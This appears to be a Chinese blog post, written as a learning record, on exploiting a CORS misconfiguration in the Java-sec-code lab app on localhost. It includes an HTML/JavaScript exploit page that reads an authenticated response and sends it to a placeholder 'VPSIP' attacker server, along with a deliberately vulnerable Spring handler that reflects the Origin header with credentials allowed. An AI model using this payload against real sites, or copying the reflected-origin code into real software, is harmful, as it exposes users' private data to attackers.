CORS跨域访问漏洞

有一直在写cors漏洞,但是一直没有去真正的利用他,今天就来学习记录一下利用。

 

0x01前置知识

就简单提一下

Access-Control-Allow-Origin: 可以写出哪些域名能访问本站的资源

Access-Control-Allow-Credentials:字段不是必选字段,它的值是一个布尔值且只能设置为true,表示服务器允许浏览器将cookie包含在请求中,否则就不添加此字段。

 

这里需要注意的是如果是下面这样,任意域都能访问的,而且为true的是不能带cookie的

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

果要发送cookie,Access-Control-Allow-Origin就不能设为*,必须明确指定与请求网页一致的域名,同时Cookie依然遵循同源策略。

 

我觉得获取到cookie需要满足:

Allow-Origin配置中有的我们能用的白名单域;

或者是有存在漏洞域的父域名。

 

域名等级划分

网上有一些说法,但是不统一 有说顶级域名后还在存在一级域名的

也有顶级域名后就是二级域名的,这里就采用第二种说法:

一级域名(顶级域名)

".com"、".net"、".org"、".edu"、".info" 这些由国外公司管理
".cn",".uk" 国家和地区顶级域名

 

二级域名

就有 a.com b.com 这些都是二级域名
而 a.com是.com域的子域名 ,.com是a.com域的父域名
父子域名是相对的,比如ss.a.com和a.com就是互为父子域名

前提是他们的协议一样 端口一样

引用一张图片

 

 

 

0x02漏洞环境

 

 

看看Java-sec-code里面的漏洞代码Cors.java

从请求header里面获取到Origin的值,然后直接就映射为

Access-Control-Allow-Origin: 的Origin值

并且Access-Control-Allow-Credentials设置为true,也就是说能够带cookie访问

 

 

 这里虽然能带上cookie,但是前面说过了获取cookie的条件,我们不一定能通过这个漏洞获取到cookie。

 

 

0x03漏洞利用-信息泄露

 

首先在VPS上搭建一个页面test,漏洞环境搭载在本地

<!DOCTYPE html>
<html>
<body>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
      //利用下面代码发送到日志中去
      location="//VPSIP/cors/?response="+this.responseText;

    }
  };
 //漏洞网站地址 xhttp.open(
"GET", "http://localhost:7869/cors/vuls2", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html>

 

test里面会带上responseText的值去访问我们VPS监听的端口 这里没写默认是80

 

这里用户登录,然后访问页面,这里输出的是页面信息

 

 

 

然后我们发送搭建的test页面,诱导用户打开

 

 

 

可以来抓包看看,可以看到这里的Origin头是我们服务器的,访问是附带上了cookie,然后返回也是可以的

 

 

 

 

 

alert弹窗

 

 

 

然后是去请求我们服务器监听的端口

 

 

 

附带了用户访问/cors/vuln/origin页面的信息返回到服务器上,造成信息泄露

 

 

 

 

0x04总结--cookie利用?

 

如果我们直接在test代码里加上document.cookie 附带到发送回来呢?

按照前面说的我们虽然是带cookie请求,但是不能获取到cookie的。

 

 

该项目采用的是Spring boot 在Cors.java里面新写一个注解映射/vuls2页面

这里把cookie添加到response里

@RequestMapping("/vuls2")
    @ResponseBody
    private static String vuln_test(HttpServletRequest request, HttpServletResponse response) {
        Cookie cookie1=new Cookie("user_cookies","MSF7D_go_go_go");
  response.addCookie(cookie1);
// 获取Header中的Origin
  String origin = request.getHeader("origin");
  response.setHeader(
"Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取的 response.setHeader("Access-Control-Allow-Credentials", "true"); // 允许带上cookie访问 return info; }

 

访问/vuls2页面,可以看到我们的cookie

 

 

然后去访问getcookie.html页面,可以看到带上了我们设置的cookie

 

 

可以看到返回包是有cookie的

 

 

获取cookie返回为undefined

 

 

 

 

然后监听得到的,其实这里document.cookie显示就是undefined,

应证了前面说的可以发送cookie但是不能通过这种方式来获取到cookie。

 

 

 之前说过想要利用除了满足必要的条件,必须还要父域或者是Allow-Origin 里面写有我们的域才行

下面引用开发者写到就是一个跨domain带cookie的测试,xxx为前端,test为后端实现的一个访问。

因为这里的cookie设置的domain是.joychou.org 为 是xxx和test的父域

 

 

大致的配置代码也就是

 

 

 

感觉这个洞获取cookie token难度要大一些,不如XSS,不过被设置了httpOnly xss就不好使了。

这个可以配置xss来利用的,还某些情况下可以Vary缓存xss中毒这些。

 

参考链接:

https://www.cnblogs.com/sijidou/p/13114351.html

https://blog.csdn.net/stpeace/article/details/82823686

https://blog.csdn.net/xiaxiaoxian/article/details/79287458

posted @ 2022-02-21 16:26  Erichas  阅读(2046)  评论(0编辑  收藏  举报